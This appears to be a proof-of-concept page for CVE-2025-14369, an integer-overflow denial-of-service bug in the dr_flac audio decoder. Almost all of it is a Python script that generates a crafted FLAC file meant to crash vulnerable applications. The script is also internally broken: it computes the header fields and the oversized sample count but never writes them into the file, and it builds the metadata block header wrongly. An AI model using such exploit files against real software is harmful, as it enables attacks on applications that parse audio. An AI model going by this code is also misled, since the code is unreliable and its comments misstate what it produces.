CVE-2025-14369 dr_libs dr_flac整数溢出拒绝服务漏洞

#!/usr/bin/env python3 # CVE-2025-14369 PoC - Malicious FLAC file generator # This PoC generates a FLAC file with a crafted totalPCMFrameCount # that triggers integer overflow in dr_flac import struct def create_malicious_flac(): # FLAC stream marker flac_data = b'fLaC' # STREAMINFO metadata block (last flag set = 1) # We need to set an extremely large totalPCMFrameCount value # that will cause integer overflow when multiplied by channel count and bytes per sample # Minimal STREAMINFO: 34 bytes # Structure: min_blocksize(16bits) | max_blocksize(16bits) | # min_framesize(24bits) | max_framesize(24bits) | # sample_rate(20bits) | channels(3bits) | bits_per_sample(5bits) | # total_samples(36bits) | md5(128bits) min_blocksize = 4096 max_blocksize = 4096 min_framesize = 0 max_framesize = 0 sample_rate = 44100 channels = 2 # stereo bits_per_sample = 16 # Crafted totalPCMFrameCount - large value that causes overflow # Setting to max uint36 value to trigger overflow in buffer calculation total_samples = 0xFFFFFFFFF # Close to uint36 max streaminfo = struct.pack('>HH', min_blocksize, max_blocksize) streaminfo += struct.pack('>I', (min_framesize << 8) | max_framesize)[1:] # Pack sample rate, channels, bits per sample, and total samples # Using uint36 for total samples header = (sample_rate << 1) | channels header = (header << 5) | (bits_per_sample - 1) # Metadata block header: is_last_block(1) | block_type(7) | length(24) metadata_header = 0x80 | (0 << 7) | (34 & 0xFFFFFF) # is_last + STREAMINFO type + length streaminfo_full = bytes([metadata_header]) + streaminfo # Add padding and frame data to complete the file # This is a simplified PoC - a real exploit would need valid frame data return flac_data + streaminfo_full + b'\x00' * 1024 if __name__ == '__main__': poc_file = create_malicious_flac() with open('CVE-2025-14369_poc.flac', 'wb') as f: f.write(poc_file) print('PoC FLAC file generated: CVE-2025-14369_poc.flac') print('This file contains a crafted totalPCMFrameCount that may trigger') print('integer overflow in dr_flac when parsed by vulnerable applications.')